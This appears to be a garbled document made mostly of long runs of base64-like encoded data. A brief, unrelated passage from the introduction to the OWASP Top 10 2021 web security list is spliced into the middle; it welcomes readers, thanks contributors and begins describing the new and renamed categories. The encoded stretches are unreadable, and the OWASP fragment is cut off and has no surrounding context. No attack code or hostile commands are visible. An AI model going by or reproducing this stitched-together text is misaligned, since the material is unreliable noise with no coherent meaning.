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Welcome to the latest installment of the OWASP Top 10! The OWASP Top 10 2021 is all-new, with a new graphic design and an available one-page infographic you can print or obtain from our home page.
A huge thank you to everyone that contributed their time and data for this iteration. Without you, this installment would not happen. **THANK YOU!**
## What's changed in the Top 10 for 2021
There are three new categories, four categories with naming and scoping changes, and some consolidation in the Top 10 for 2021. We've changed names when necessary to focus on the root cause over the symptom.
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